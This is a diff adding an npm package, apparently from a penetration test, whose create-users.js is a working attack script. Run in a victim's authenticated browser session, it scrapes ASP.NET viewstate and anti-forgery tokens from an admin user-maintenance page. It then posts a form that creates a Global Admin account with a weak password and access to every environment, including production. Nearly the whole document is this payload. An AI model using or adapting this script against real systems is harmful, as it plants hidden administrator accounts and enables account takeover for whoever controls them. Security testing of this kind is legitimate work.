software-secured-pack 1.0.0

package/create-users.js

@@ -0,0 +1,75 @@
+const TARGET_URL = "/AdminPages/UserMaintenance.aspx";
+
+function extractField(html, name) {
+  const re = new RegExp(`name="${name}"[^>]*value="([^"]*)"`);
+  const match = html.match(re);
+  if (!match) throw new Error(`Could not find ${name} in response`);
+  return match[1];
+}
+
+async function getViewState() {
+  const res = await fetch(TARGET_URL, { credentials: "include" });
+  const html = await res.text();
+
+  const fields = [
+    "__VIEWSTATE",
+    "__VIEWSTATEGENERATOR",
+    "__EVENTVALIDATION",
+    "__RequestVerificationToken",
+  ];
+
+  const params = new URLSearchParams();
+  for (const field of fields) {
+    const value = extractField(html, field);
+    params.append(field, value);
+    console.log(`[+] ${field}: ${value.substring(0, 40)}...`);
+  }
+
+  return params;
+}
+
+async function postUser(viewStateParams, extraBody) {
+  const body = viewStateParams.toString() + "&" + extraBody;
+
+  const res = await fetch(TARGET_URL, {
+    method: "POST",
+    credentials: "include",
+    headers: {
+      "Content-Type": "application/x-www-form-urlencoded",
+    },
+    body,
+  });
+
+  console.log(`[*] POST ${res.status} ${res.statusText}`);
+  return res;
+}
+
+(async () => {
+  try {
+    console.log("\n=== Creating Global Admin (user+2@mail.com) ===");
+    const viewState = await getViewState();
+    await postUser(
+      viewState,
+      "ctl00%24mainContent%24txtEmail=jbotham%2B2%40softwaresecured.com" +
+        "&ctl00%24mainContent%24txtPassword=123abc" +
+        "&ctl00%24mainContent%24txtFullname=SS-test" +
+        "&ctl00%24mainContent%24ddlProgramTypes=Internal" +
+        "&ctl00%24mainContent%24cbGlobalAdmin=on" +
+        "&ctl00%24mainContent%24cbNewUserEnvironmentAccessPrd=on" +
+        "&ctl00%24mainContent%24cbNewUserEnvironmentAccessUat=on" +
+        "&ctl00%24mainContent%24cbNewUserEnvironmentAccessDmo=on" +
+        "&ctl00%24mainContent%24cbNewUserEnvironmentAccessQas=on" +
+        "&ctl00%24mainContent%24cbNewUserEnvironmentAccessStg=on" +
+        "&ctl00%24mainContent%24cbNewUserEnvironmentAccessBld=on" +
+        "&ctl00%24mainContent%24cbNewUserEnvironmentAccessDev=on" +
+        "&ctl00%24mainContent%24cbNewUserEnvironmentAccessPoc=on" +
+        "&ctl00%24mainContent%24btnAdd.x=10" +
+        "&ctl00%24mainContent%24btnAdd.y=6" +
+        "&ctl00%24mainContent%24txtSearch="
+    );
+
+    console.log("\n[+] Done.");
+  } catch (err) {
+    console.error("[-] Error:", err.message);
+  }
+})();

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "software-secured-pack",
+  "version": "1.0.0",
+  "description": "test package",
+  "main": "create-users.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "dead1nfluence",
+  "license": "ISC"
+}